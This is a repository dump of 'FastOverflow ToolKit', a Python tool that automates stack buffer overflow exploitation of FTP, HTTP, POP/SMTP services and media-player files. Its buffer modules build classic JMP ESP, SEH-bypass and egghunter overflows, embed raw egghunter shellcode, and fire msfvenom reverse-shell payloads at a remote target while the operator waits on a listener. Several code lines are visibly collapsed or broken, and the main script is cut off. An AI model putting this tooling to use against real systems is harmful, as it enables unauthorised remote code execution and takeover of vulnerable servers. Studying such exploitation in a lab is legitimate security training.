├── README.md ├── buffers ├── __init__.py ├── classic.py ├── egghunter.py └── seh.py ├── egghunting.png ├── fast_overflow.py ├── protocols ├── __init__.py ├── ftp.py ├── http.py ├── popsmtp.py ├── raw.py └── tcp.py ├── requirements.txt ├── templates ├── classic.tpl ├── egghunter.tpl └── seh.tpl └── utils ├── __init__.py ├── colors.py ├── config.py ├── hexutil.py └── system.py /README.md: -------------------------------------------------------------------------------- 1 | # FastOverflow ToolKit 2 | I started wroting this toolkit whilst studying Buffer Overflow Techniques. 3 | 4 | It works through FTP, SMTP, POP, HTTP protocols as well file outputs for playlists exploiting customized variables/commands and supports Vanilla (classic) buffer overflow technique, SEH ByPass and Egghunting. Additionaly, the toolkit makes use of session files and you can restore your walkthrough by default. 5 | 6 | This toolkit is composed by Memory fuzzer, BadChars Testing, Exploitation process automation and soon I will FULLY release the Exploit Generator (right now only Vanilla Exploit Generation). I intend to keep this project very active. Please pull changes before any use. 7 | 8 | The toolkit is NOT RECOMMENDED for script kiddies! 9 | 10 | 11 | Payloads can be generated through MSFVENOM (shell_reverse_tcp / meterpreter_reverse_tcp) OR you can use your own ASM files. 12 | ## Prerequisites 13 | 14 | Python 3.8, Metasploit, nasm, nasm_shell 15 | 16 | ## Usage: 17 | ### Default options :  18 | 19 | ``` 20 | fast_overflow.py -m [MODE] [-o PLATFORM] [-h HOST] [-p PORT] [-f FIELD] [-U USER] [-P PASS] [-i LOCALIP] [-l LOCALPORT] 21 | 22 | -m, --mode=MODE Specify mode for buffer overflow. Accepted : ftp | http | popsmtp | file 23 | -o, --os=PLATFORM Target OS Platform for shellcode. Accepted: windows | unix | linux | mac 24 | -h, --host=HOST Target to attack. Not used in FILE mode 25 | -p, --port=PORT Port to attack. Not used in FILE mode 26 | -f, --fields=FIELD Set fields to exploit: user, pass, stor, cookie, user-agent. Separate multiple by commas 27 | -v, --http-verb=HTTPVERB Set HTTP method to exploit: GET, HEAD, POST, TRACE, etc. Default: HEAD 28 | -u, --http-uri=HTTPURI Set HTTP uri to exploit. Default: / 29 | -i, --lip=LOCALIP Local IP for shellcode 30 | -l, --lport=LOCALPORT Local Port for shellcode 31 | -U, --auth-user=USER User for auth. Default: user 32 | -P, --auth-pass=PASS Pass for auth. Default: user 33 | ``` 34 | ## Testing 35 | 36 | This tool was tested successfully in Python 3.8 against WarFTPd, Ability FTP Server, SLMail, Konica Minolta, Kolibri and some video players. 37 | NOT FULLY SUPPORTED ON PYTHON 2. Improvements need. 38 | 39 | ![alt text](https://github.com/danieljs777/fastoverflowtk/blob/master/egghunting.png?raw=true) 40 | 41 | ## Authors 42 | 43 | * **Daniel Jordão** - *Initial work* - [danieljs777](https://github.com/danieljs777) 44 | 45 | ## License 46 | 47 | This project is licensed under the MIT License 48 | -------------------------------------------------------------------------------- /buffers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danieljs777/fastoverflowtk/a6ac97778c2109bb53269f08324c5ea84b5e8e60/buffers/__init__.py -------------------------------------------------------------------------------- /buffers/classic.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | import logging 3 | import subprocess 4 | import sys 5 | import socket 6 | from struct import pack 7 | 8 | from fast_overflow import FastOverflow 9 | from utils.hexutil import HexUtil 10 | from utils.system import * 11 | 12 | class Classic: 13 | 14 | eip = "" 15 | esp = "" 16 | buffer = "" 17 | 18 | config = "" 19 | 20 | def __init__(self, config): 21 | self.config = config 22 | 23 | return None 24 | 25 | ################################# 26 | # Classic Buffer Overflow Attributes & Function 27 | 28 | def fill_classic(self, offset): 29 | 30 | if (self.config.verbose_lv >= 1): 31 | print("[+] Filling stack at " + str(offset)) 32 | 33 | if (sys.version_info >= (3, 0)): 34 | offset = ("A" * offset).encode('latin-1') 35 | else: 36 | offset = ("A" * offset) 37 | 38 | self.eip = ("B" * 4).encode('latin-1') 39 | self.esp = ("C" * 400).encode('latin-1') 40 | 41 | self.buffer = offset + self.eip + self.esp 42 | self.buffer += ("\r\n").encode('latin-1') 43 | 44 | return self.buffer 45 | 46 | def fill_classic_jmp_esp(self, offset, jmp_esp): 47 | 48 | if (sys.version_info >= (3, 0)): 49 | offset = ("A" * offset).encode('latin-1') 50 | else: 51 | offset = ("A" * offset) 52 | 53 | self.eip = pack('= (3, 0)): 65 | offset = ("A" * offset).encode('latin-1') 66 | self.esp = System.bytearray.encode('latin-1') 67 | else: 68 | offset = ("A" * offset) 69 | self.esp = System.bytearray 70 | 71 | # offset = b"A" * offset 72 | 73 | self.eip = pack('= (3, 0)): 90 | offset = ("A" * offset).encode('latin-1') 91 | else: 92 | offset = ("A" * offset) 93 | 94 | # print(type(jmp_esp)) 95 | # jmp_esp = jmp_esp.encode('windows-1252').decode() 96 | # print(type(jmp_esp)) 97 | 98 | self.eip = pack('= 1): 101 | print(self.buffer) 102 | 103 | if (self.config.verbose_lv == 2): 104 | print(type(self.buffer)) 105 | 106 | if (sys.version_info >= (3, 0)): 107 | if not isinstance(payload, str): 108 | self.esp = payload.decode('latin-1') 109 | else: 110 | self.esp = payload 111 | else: 112 | self.esp = payload 113 | 114 | self.buffer = offset + self.eip 115 | 116 | if nops > 0 or nops != None: 117 | if (self.config.verbose_lv == 2): 118 | print("\x90" * nops) 119 | print(type(("\x90" * nops))) 120 | 121 | if (sys.version_info >= (3, 0)): 122 | _nops = ("\x90" * nops).encode('latin-1') 123 | else: 124 | _nops = "\x90" * nops 125 | 126 | self.buffer += _nops 127 | 128 | print(self.buffer, type(self.buffer)) 129 | self.buffer += self.esp.encode('latin1') 130 | #self.buffer += "\r\n" 131 | 132 | if (self.config.verbose_lv >= 1): 133 | print(self.buffer) 134 | 135 | if (self.config.verbose_lv == 2): 136 | print(type(self.buffer)) 137 | 138 | # self.show_stack(self.config) 139 | 140 | return self.buffer 141 | 142 | def build_buffer(self): 143 | 144 | try : 145 | filename = System.input("[?] Enter filename to generate :") 146 | 147 | self.config.overflow = System.input("[?] How long do you want the pattern? :") 148 | print("[+] Generating pattern: msf-pattern_create -l %s" % self.config.overflow) 149 | 150 | buffer = subprocess.check_output(['msf-pattern_create', '-l', str(self.config.overflow)]).strip() 151 | 152 | System.file_write(filename, buffer) 153 | print("[!] Pattern saved to %s" % filename) 154 | 155 | eip_address = System.input("[?] Check the target debugger and enter EIP Value :") 156 | 157 | _offset = subprocess.check_output(['msf-pattern_offset', '-q', str(eip_address)]) 158 | _offset = _offset.decode('latin-1').split('offset ') 159 | 160 | self.offset = int(_offset[len(_offset) - 1].strip()) 161 | 162 | buffer = self.fill_classic(self.offset) 163 | System.file_write(filename, buffer) 164 | 165 | print("[+] Buffer is aligned in EIP and saved to %s" % filename) 166 | 167 | if (self.config.verbose_lv >= 1): 168 | print(buffer) 169 | 170 | self.config.jmpesp_add = System.input("[?] Inform JMP ESP address :") 171 | 172 | try: 173 | nops = int(System.input("[?] How many NOPS? [0] :")) 174 | except: 175 | nops = 0 176 | 177 | gonext = System.input("[?] Do you want to test or add custom badchars? [T]est/[A]dd/[S]kip] :") 178 | 179 | if (gonext == "T"): 180 | exploit = self.fill_classic_bytearray(self.offset, self.jmpesp_add) 181 | System.file_write(filename, exploit) 182 | print("[!] Your buffer is ready at %s" % filename) 183 | 184 | if(gonext != "S"): 185 | bads = System.input("[+] Default Badchars is " + ",".join(System.badchars) + ". Additional Badchars? Separate multiple HEX (without 0x) by commas (eg. 1a,40) :") 186 | 187 | if ',' in bads: 188 | _bads = bads.split(',') 189 | for _badchar in _bads: 190 | System.badchars.append(r'\x' + _badchar) 191 | elif bads != "": 192 | System.badchars.append(r'\x' + bads) 193 | 194 | self.config.badchars = System.badchars 195 | 196 | shellcode = System.shellcode(self.config) 197 | exploit = self.fill_classic_exploit(self.config.offset, self.config.jmpesp_add, self.config.nops, 198 | self.config.shellcode) 199 | 200 | System.file_write(filename, exploit) 201 | 202 | print("[!] Spawn listener on " + self.config.localip + ":" + str(self.config.localport)) 203 | print("[!] Your buffer is ready at %s" % filename) 204 | 205 | except Exception as err: 206 | logging.exception(err) 207 | 208 | def exploit(self): 209 | try: 210 | adapter = System.get_adapter(self.config) 211 | 212 | if (self.config.mode == "file"): 213 | self.build_buffer() 214 | sys.exit(2) 215 | 216 | # stack = Stack() 217 | 218 | inject_func = getattr(adapter, 'inject') 219 | 220 | if(self.config.offset < 2 or self.config.offset == ""): 221 | System.generic_fuzzer(self.config) 222 | else: 223 | print("[!] Got from session OFFSET " + str(self.config.offset)) 224 | 225 | # if self.config.offset < 2: 226 | # gonext = "n" 227 | # while gonext == "n": 228 | 229 | if (self.config.mode == "http"): 230 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, self.fill_classic(self.config.offset), 231 | self.config.shellcode, self.offset) 232 | else: 233 | buffer = self.fill_classic(self.config.offset) 234 | 235 | # gonext = System.input("[?] Buffer is aligned in EIP: [Y]es/[N]o?") 236 | 237 | if (self.config.verbose_lv >= 1): 238 | print(buffer) 239 | 240 | ######################################################### 241 | # GET JMP ADDRESS 242 | 243 | if(self.config.jmpesp_add == ""): 244 | 245 | _jmpesp_add = System.input("[?] Inform JMP ESP address or leave blank to continue:") 246 | 247 | if (_jmpesp_add == ""): 248 | gonext = System.input("[!] All set! Press ENTER when your debugger is ready to receive a crafted buffer in EIP :") 249 | 250 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 251 | print("[*] Buffer Injected (" + str(len(buffer)) + " bytes) to get JMP ESP!!!") 252 | 253 | print("[!] Hint: !mona jmp -r esp -n") 254 | self.config.jmpesp_add = System.input("[?] Check the target debugger and enter JMP ESP Address (without 0x) :") 255 | 256 | if (self.config.mode == "http"): 257 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, 258 | self.fill_classic_jmp_esp(self.config.offset, self.config.jmpesp_add), 259 | self.config.shellcode, self.offset) 260 | else: 261 | buffer = self.fill_classic_jmp_esp(self.config.offset, self.config.jmpesp_add) 262 | 263 | gonext = System.input("[!] All set! Press ENTER when your debugger is ready to receive a JMP ESP in EIP :") 264 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 265 | print("[*] Buffer Injected (" + str(len(buffer)) + " bytes) to test STACK FILLING!!!") 266 | else: 267 | self.config.jmpesp_add = _jmpesp_add 268 | 269 | else: 270 | print("[!] JMP ESP Address reloaded from previous sessions:" + self.config.jmpesp_add) 271 | 272 | ######################################################### 273 | # NOPS 274 | 275 | try: 276 | _nops = -1 277 | while _nops == -1: 278 | _nops = System.input("[?] How many NOPS [" + str(self.config.nops) + "] ?") 279 | if _nops == "": 280 | break 281 | else: 282 | self.config.nops = int(_nops) 283 | 284 | except: 285 | self.config.nops = 0 286 | 287 | ######################################################### 288 | # BADCHARS 289 | 290 | if self.config.badchars == "": 291 | self.config.badchars = System.badchars 292 | else: 293 | System.badchars = self.config.badchars 294 | 295 | print ("[+] Badchars detected : " + ",".join(self.config.badchars)) 296 | gonext = System.input("[?] Do you want to test or add custom badchars? [T]est/[A]dd/[S]kip:") 297 | 298 | if(gonext == "T"): 299 | if (self.config.mode == "http"): 300 | exploit = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, 301 | self.fill_classic_bytearray(self.config.offset, self.config.jmpesp_add), 302 | self.config.shellcode, self.offset) 303 | else: 304 | exploit = self.fill_classic_bytearray(self.config.offset, self.config.jmpesp_add) 305 | 306 | System.input("[?] Press any key when you wanna send the bytearray !!!") 307 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, exploit, True) 308 | 309 | if(gonext != "S"): 310 | bads = System.input("[+] Default Badchars is " + ",".join(System.badchars) + ". Additional Badchars? Separate multiple HEX (without 0x) by commas (eg. 1a,40) :") 311 | 312 | if ',' in bads: 313 | _bads = bads.split(',') 314 | for _badchar in _bads: 315 | System.badchars.append(r'\x' + _badchar) 316 | elif bads != "": 317 | System.badchars.append(r'\x' + bads) 318 | 319 | self.config.badchars = System.badchars 320 | 321 | ######################################################### 322 | # SHELLCODE 323 | 324 | print("[!] Preparing Shellcode for reverse shell.....") 325 | 326 | self.config.shellcode = System.shellcode(self.config) 327 | 328 | if (self.config.mode == "http"): 329 | exploit = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, 330 | self.fill_classic_exploit(self.config.offset, self.config.jmpesp_add, self.config.nops, self.config.shellcode), 331 | self.config.shellcode, self.offset) 332 | else: 333 | exploit = self.fill_classic_exploit(self.config.offset, self.config.jmpesp_add, self.config.nops, self.config.shellcode) 334 | 335 | print("[!] Spawn listener on " + self.config.localip + ":" + str(self.config.localport)) 336 | gonext = System.input("[?] Press any key when you wanna give the shot!!! This will send the FINAL PAYLOAD now!!!") 337 | 338 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, exploit, True) 339 | print("[*] Buffer Injected (" + str(len(exploit)) + " bytes)!!!") 340 | print("[*] Check your listener!!!") 341 | 342 | save = System.input("[?] Do you want to save your progress data? [Y]es/[n]o") 343 | if save == "Y": 344 | System.save_session(self.config) 345 | 346 | except Exception as err: 347 | logging.exception(err) 348 | # Output error, and return with an error code 349 | # print((err)) 350 | # 351 | # # Python 2 352 | # print 'Error on line {}'.format(sys.exc_info()[0].tb_lineno) 353 | # Python 3 354 | #print("Error on line {}".format(sys.exc_info()[-1].tb_lineno)) 355 | 356 | #sys.exit(2) 357 | # except Exception as e: 358 | # if hasattr(e, 'message'): 359 | # print(e.message) 360 | # else: 361 | # print(e) -------------------------------------------------------------------------------- /buffers/egghunter.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import logging 3 | import subprocess 4 | import sys 5 | from struct import pack 6 | 7 | from protocols.http import Http 8 | from utils.hexutil import HexUtil 9 | from utils.system import System 10 | 11 | 12 | class EggHunter: 13 | 14 | config = "" 15 | offset = 0 16 | overflow = 0 17 | 18 | buffer = "" 19 | def __init__(self, config): 20 | self.config = config 21 | 22 | return None 23 | 24 | ################################# 25 | # EggHunter Attributes 26 | 27 | # offset = 1 28 | # eip = "B" * 4 29 | # esp = "C" * 4 30 | # payload = "D" * 400 31 | # nops = 0 32 | # jmpesp_add = "" 33 | # instruction = "" # "\xeb\xca" #jmp short 34 | # hunter = "" 35 | # egg = "T00WT00W" 36 | # src_address = "" 37 | # dest_address = "" 38 | # shellcode = "" 39 | 40 | ################################# 41 | # EggHunter Exploit Method 42 | 43 | def str_encode(self, string): 44 | if (sys.version_info >= (3, 0)): 45 | enc_string = str(string).encode('latin-1') 46 | else: 47 | enc_string = (string) 48 | 49 | return enc_string 50 | 51 | def stack_fill(self, sendHunter): 52 | 53 | # print("[+] Filling stack at " + str(offset)) 54 | 55 | _hunter_begin = self.str_encode("\x90" * 4) 56 | self.hunter = self.str_encode("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74") 57 | self.hunter += self.str_encode("\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") 58 | _hunter_end = self.str_encode("\x90" * 4) # 4 bytes is lost when hunter iniates 59 | 60 | if(sendHunter != False): 61 | 62 | _hunter = _hunter_begin + self.hunter + _hunter_end 63 | print("[*] Egg Hunter Generated between 4 NOPS", str(_hunter)) 64 | 65 | _offset = self.str_encode("A" * (self.config.offset - len(_hunter))) + _hunter 66 | else: 67 | _offset = self.str_encode("A" * self.config.offset) 68 | 69 | if self.config.jmpesp_add != "": 70 | _eip = pack('= 1): 112 | print("[+] Buffer is aligned :") 113 | print(buffer) 114 | 115 | ######################################################### 116 | # GET JMP ADDRESS 117 | 118 | if(self.config.jmpesp_add == ""): 119 | 120 | _jmpesp_add = System.input("[?] Inform JMP ESP address or leave blank to continue:") 121 | 122 | if (_jmpesp_add == ""): 123 | gonext = System.input( 124 | "[!] All set! Press ENTER when your application is ready to receive a crafted buffer in EIP :") 125 | 126 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, self.stack_fill(False), 127 | self.config.shellcode, self.offset) 128 | 129 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 130 | print("[*] Buffer Injected (" + str(len(buffer)) + " bytes) to get JMP ESP!!!") 131 | 132 | print("[!] Hint: !mona jmp -r esp -n") 133 | self.config.jmpesp_add = System.input("[?] Check the target debugger and enter JMP ESP Address (eg. 011EFB28) :") 134 | 135 | else: 136 | print(self.config.jmpesp_add) 137 | self.config.jmpesp_add = _jmpesp_add 138 | 139 | if (self.config.mode == "http"): 140 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, self.stack_fill(False), 141 | self.config.shellcode, self.offset) 142 | else: 143 | buffer = self.stack_fill(False) 144 | 145 | gonext = System.input("[!] All set! Do you wanna test the JMP ESP in EIP? [Y/n]:") 146 | 147 | if(gonext.upper() == "Y"): 148 | 149 | gonext = System.input( 150 | "[!] All set! Press ENTER when your application is ready to receive a crafted buffer in EIP :") 151 | 152 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, False) 153 | print("[+] Buffer Injected (" + str(len(buffer)) + " bytes) to test STACK FILLING!!!") 154 | else: 155 | print("[!] JMP ESP Address reload from previous sessions:" + self.config.jmpesp_add) 156 | 157 | ######################################################### 158 | # EGG HUNTING 159 | 160 | # _egg = System.input("[?] Custom egg ? [Default: T00WT00W]") 161 | # 162 | # if(_egg != self.config.egg): 163 | # self.config.egg = _egg 164 | # self.hunter = System.input("[?] Change default EggHunter : ") 165 | 166 | gonext = System.input("[?] Do you wanna test the EggHunter ? [Y/n]") 167 | if (gonext.upper() == "Y"): 168 | if (self.config.mode == "http"): 169 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, 170 | self.stack_fill(True), self.config.shellcode, self.config.offset) 171 | else: 172 | buffer = self.stack_fill(True) 173 | 174 | gonext = System.input("[!] All set! Press ENTER when your application is ready to receive an egg in program's memory :") 175 | 176 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 177 | print("[+] Buffer Injected (" + str(len(buffer)) + " bytes) to test EGG position!!!") 178 | print("[!] Hint: !mona find -s T00W") 179 | print("[!] Hint: !mona egg -t T00W") 180 | 181 | ######################################################### 182 | # OP CODES FOR JUMPING BACK 183 | 184 | try: 185 | 186 | if (self.config.dest_address == "" and self.config.src_address == ""): 187 | _src_address = System.input("[?] Enter the CCCC memory address (eg. 011EFB28) :") 188 | _dest_address = System.input("[?] Enter the address to insert EggHunter [" + _src_address + " - 40 bytes is " + str(hex(int("0x" + _src_address, 16) - 40)).replace("0x", "").upper() + "] : ") 189 | 190 | self.config.src_address = _src_address 191 | self.config.dest_address = _dest_address 192 | 193 | _src_address = int("0x" + _src_address, 16) 194 | _dest_address = int("0x" + _dest_address, 16) 195 | 196 | else: 197 | _src_address = int("0x" + self.config.src_address, 16) 198 | _dest_address = int("0x" + self.config.dest_address, 16) 199 | 200 | diff = hex(_src_address - _dest_address) 201 | 202 | except Exception as err: 203 | print(str(err)) 204 | 205 | _instruction = System.input("[?] Enter the negative jmp short OPCODE for " + str(diff) + " (Hint: msf-nasm_shell> jmp short -" + str(diff) + ") : ") 206 | self.config.instruction = binascii.unhexlify(_instruction) 207 | 208 | if (self.config.verbose_lv == 2): 209 | print('Got ', self.config.instruction) 210 | # print(_instruction) 211 | 212 | _instruction = HexUtil.hex_string_format(_instruction) 213 | gonext = System.input("[?] Do you wanna test the OPCODE " + _instruction + " ? [Y/n]") 214 | 215 | if (gonext.upper() == "Y"): 216 | gonext = System.input( 217 | "[!] All set! Press ENTER when your application is ready to receive the OPCODE in stack :") 218 | 219 | if (self.config.mode == "http"): 220 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, 221 | self.stack_fill(True), self.config.shellcode, self.config.offset) 222 | else: 223 | buffer = self.stack_fill(True) 224 | 225 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 226 | 227 | ######################################################### 228 | # BADCHARS 229 | 230 | if self.config.badchars == "": 231 | self.config.badchars = System.badchars 232 | else: 233 | System.badchars = self.config.badchars 234 | 235 | print ("[+] Badchars detected : " + ",".join(self.config.badchars)) 236 | gonext = System.input("[?] Do you want to test or add custom badchars? [T]est/[A]dd/[S]kip:") 237 | 238 | if(gonext.upper() == "T"): 239 | self.config.shellcode = System.bytearray 240 | exploit = self.stack_fill(True) 241 | 242 | System.input("[?] Press any key when you wanna send the bytearray !!!") 243 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, exploit, True) 244 | 245 | if(gonext.upper() != "S"): 246 | bads = System.input("[+] Default Badchars is " + ",".join(System.badchars) + ". Additional Badchars? Separate multiple HEX (without 0x) by commas (eg. 1a,40) :") 247 | 248 | if ',' in bads: 249 | _bads = bads.split(',') 250 | for _badchar in _bads: 251 | System.badchars.append(r'\x' + _badchar) 252 | elif bads != "": 253 | System.badchars.append(r'\x' + bads) 254 | 255 | self.config.badchars = System.badchars 256 | 257 | ######################################################### 258 | # SHELLCODE 259 | 260 | self.config.payload = System.shellcode(self.config) 261 | 262 | exploit = self.stack_fill(True) 263 | 264 | resume = System.input("[?] Press any key when you wanna give the shot!!! This will send the FINAL PAYLOAD now!!!") 265 | 266 | if (self.config.mode == "http"): 267 | buffer = adapter.make_request(self.config.remoteip, self.config.remoteport, self.config.field, exploit, self.config.shellcode, self.config.offset) 268 | else: 269 | buffer = self.stack_fill(True) 270 | 271 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 272 | print("[*] Buffer Injected (" + str(len(exploit)) + " bytes)!!!") 273 | print("[*] Wait some seconds for egghunting and check your listener!!!") 274 | 275 | System.show_session(self.config) 276 | 277 | except Exception as err: 278 | logging.exception(err) 279 | sys.exit(2) 280 | -------------------------------------------------------------------------------- /buffers/seh.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import subprocess 3 | import sys 4 | from struct import pack 5 | 6 | from utils.system import System 7 | 8 | 9 | class Seh: 10 | 11 | config = "" 12 | # offset = 0 13 | # overflow = 0 14 | 15 | buffer = "" 16 | 17 | def __init__(self, config): 18 | self.config = config 19 | 20 | return None 21 | 22 | ################################# 23 | # SEHByPass Attributes & Function 24 | 25 | # offset = 1 26 | # nextseh = "B" * 4 27 | # seh = "C" * 4 28 | # ppr_address = "" 29 | # payload = "D" * 400 30 | # nops = 0 31 | # skip_seh = "" # "\x90\x90\xeb\x06" 32 | 33 | def str_encode(self, string): 34 | if (sys.version_info >= (3, 0)): 35 | enc_string = str(string).encode('latin-1') 36 | else: 37 | enc_string = (string) 38 | 39 | return enc_string 40 | 41 | def stack_fit(self): 42 | 43 | if (sys.version_info >= (3, 0)): 44 | _offset = ("A" * self.config.offset).encode('latin-1') 45 | else: 46 | _offset = ("A" * self.config.offset) 47 | 48 | if (self.config.skip_seh != ""): 49 | _nextseh = self.str_encode(self.config.skip_seh) 50 | else: 51 | _nextseh = self.str_encode("B" * 4) 52 | 53 | if (self.config.ppr_address != ""): 54 | _seh = pack(' 0 or self.config.nops != None): 59 | _nops = self.str_encode("\x90" * self.config.nops) 60 | 61 | if (self.config.verbose_lv == 2): 62 | print(_nops) 63 | print(type(self.str_encode("\x90" * self.config.nops))) 64 | 65 | # print("-" * 50) 66 | # print(self.config.payload) 67 | # print("-" * 50) 68 | 69 | if(self.config.payload != ""): 70 | _esp = self.config.payload 71 | else: 72 | _esp = self.str_encode("D" * 400) 73 | 74 | buffer = _offset 75 | buffer += _nextseh 76 | buffer += _seh 77 | 78 | if (self.config.nops > 0): 79 | buffer += _nops 80 | 81 | buffer += _esp 82 | 83 | # buffer += "\r\n" 84 | 85 | return buffer 86 | 87 | def exploit(self): 88 | 89 | try: 90 | adapter = System.get_adapter(self.config) 91 | 92 | inject_func = getattr(adapter, 'inject') 93 | 94 | if(self.config.offset < 2 or self.config.offset == ""): 95 | System.generic_fuzzer(self.config) 96 | else: 97 | print("[!] Got from session OFFSET " + str(self.config.offset)) 98 | 99 | buffer = self.stack_fit() 100 | 101 | if (self.config.verbose_lv >= 1): 102 | print("[+] Buffer is aligned in SEH record:") 103 | print(buffer) 104 | 105 | if(self.config.ppr_address == ""): 106 | _ppr_address = System.input("[?] Inform POP POP RET address or leave blank to receive a crafted buffer in SEH record:") 107 | 108 | if (_ppr_address == ""): 109 | buffer = self.stack_fit() 110 | gonext = System.input("[!] All set! Press ENTER when your application is ready to receive a crafted buffer :") 111 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 112 | 113 | print("[+] Buffer Injected (" + str(len(buffer)) + " bytes) to test STACK FILLING!!!") 114 | print("[!] Hint: !mona seh -n") 115 | self.config.ppr_address = System.input("[?] Check the target debugger and enter POP POP RET address to overwrite SEH:") 116 | else: 117 | self.config.ppr_address = _ppr_address 118 | 119 | gonext = System.input("[?] Do you wanna test the POP POP RET ? [Y/n]") 120 | if (gonext == "Y"): 121 | buffer = self.stack_fit() 122 | gonext = System.input("[!] All set! Press ENTER when your application is ready to receive POP POP RET buffer :") 123 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 124 | 125 | else: 126 | print("[!] POP POP RET Address reload from previous sessions:" + self.config.ppr_address) 127 | 128 | ######################################################### 129 | # OP CODES FOR JUMPING SEH CHAIN 130 | 131 | if (self.config.skip_seh == "") : # or self.config.nops == 0) : 132 | 133 | _skip_seh = System.input("[?] Enter the OPCODE to bypass SEH + NextSEH (Hint: msf-nasm_shell> jmp short {x} bytes) [\\x90\\x90\\xeb\\x06] : ") 134 | if (_skip_seh == "") : 135 | self.config.skip_seh = r"\x90\x90\xeb\x04" # JMP SHORT 8 136 | else: 137 | self.config.skip_seh = self.str_encode(_skip_seh) 138 | 139 | gonext = System.input("[?] Do you wanna test the OPCODE ? [Y/n]") 140 | if (gonext == "Y"): 141 | buffer = self.stack_fit() 142 | gonext = System.input("[!] All set! Press ENTER when your application is ready to receive OPCODE buffer :") 143 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 144 | 145 | try: 146 | self.config.nops = int(System.input("[?] How many NOPS before shellcode ? [0]")) 147 | except: 148 | self.config.nops = 0 149 | 150 | else: 151 | print("[!] OP CODES SEH BYPASS reload from previous sessions:" + self.config.skip_seh) 152 | 153 | ######################################################### 154 | # BADCHARS 155 | 156 | gonext = System.input("[?] Do you want to test or add custom badchars? [T]est/[A]dd/[S]kip:") 157 | 158 | if(gonext == "T"): 159 | self.config.payload = System.bytearray 160 | exploit = self.stack_fit() 161 | 162 | System.input("[?] Press any key when you wanna send the bytearray !!!") 163 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, exploit, True) 164 | 165 | if(gonext != "S"): 166 | bads = System.input("[+] Default Badchars is " + ",".join(System.badchars) + ". Additional Badchars? Separate multiple HEX (without 0x) by commas :") 167 | 168 | if ',' in bads: 169 | _bads = bads.split(',') 170 | for _badchar in _bads: 171 | System.badchars.append(r'\x' + _badchar) 172 | elif bads != "": 173 | System.badchars.append(r'\x' + bads) 174 | 175 | self.config.badchars = System.badchars 176 | 177 | ######################################################### 178 | # SHELLCODE 179 | 180 | print("[!] Preparing Shellcode for reverse shell.....") 181 | 182 | self.config.payload = System.shellcode(self.config) 183 | exploit = self.stack_fit() 184 | print(exploit) 185 | print("[!] Spawn listener on " + self.config.localip + ":" + str(self.config.localport)) 186 | gonext = System.input("[?] Press any key when you wanna give the shot!!! This will send the FINAL PAYLOAD now!!!") 187 | 188 | inject_func(self.config.remoteip, self.config.remoteport, self.config.field, exploit, True) 189 | print("[*] Buffer Injected (" + str(len(exploit)) + " bytes)!!!") 190 | print("[*] Check your listener!!!") 191 | 192 | System.show_session(self.config) 193 | 194 | except Exception as err: 195 | 196 | logging.exception(err) 197 | # except Exception as e: 198 | # if hasattr(e, 'message'): 199 | # print(e.message) 200 | # else: 201 | # print(e) 202 | sys.exit(1) 203 | -------------------------------------------------------------------------------- /egghunting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danieljs777/fastoverflowtk/a6ac97778c2109bb53269f08324c5ea84b5e8e60/egghunting.png -------------------------------------------------------------------------------- /fast_overflow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import argparse 3 | import random 4 | import shutil 5 | import string 6 | from time import sleep 7 | import readline 8 | 9 | from buffers.egghunter import EggHunter 10 | from buffers.seh import Seh 11 | from protocols.ftp import * 12 | 13 | from buffers.classic import * 14 | from utils.colors import * 15 | from utils.system import * 16 | from utils.config import * 17 | 18 | class FastOverflow: 19 | 20 | tm_columns = 150 21 | 22 | def __init__(self, config): 23 | self.config = config 24 | 25 | def menu(self): 26 | 27 | print(" ") 28 | print("-" * self.tm_columns) 29 | 30 | if (self.config.mode != "file"): 31 | print("[1] Simple Fuzzer (AAAA)") 32 | print("[2] Random Fuzzer (A1@!)") 33 | print("[3] Test Multiple Fields") 34 | 35 | print("[5] Classic Buffer Overflow") 36 | print("[6] EggHunter Buffer Overflow") 37 | print("[7] SEH ByPass Buffer Overflow") 38 | # print("[] ByPass SEH + Egghunter") 39 | 40 | print("[8] Search BadChars") 41 | 42 | print("[9] Show Exploit Session") 43 | 44 | if (self.config.mode.lower() in {"ftp", "popsmtp"}): 45 | print("[10] Generate Exploit") 46 | 47 | print("[11] Hexa Numeric Decomposition") 48 | 49 | print("[0] Exit") 50 | 51 | process = System.input("Select one above :") 52 | 53 | if (process == "1"): 54 | self.generic_fuzzer() 55 | elif (process == "2"): 56 | print(self.random_fuzzer()) 57 | elif (process == "3"): 58 | print(self.fuzz_fields()) 59 | 60 | if (process == "5"): 61 | self.classical_overflow() 62 | elif (process == "6"): 63 | self.egghunter_overflow() 64 | elif (process == "7"): 65 | self.seh_overflow() 66 | elif (process == "8"): 67 | self.search_badchars() 68 | elif (process == "9"): 69 | System.show_session(self.config) 70 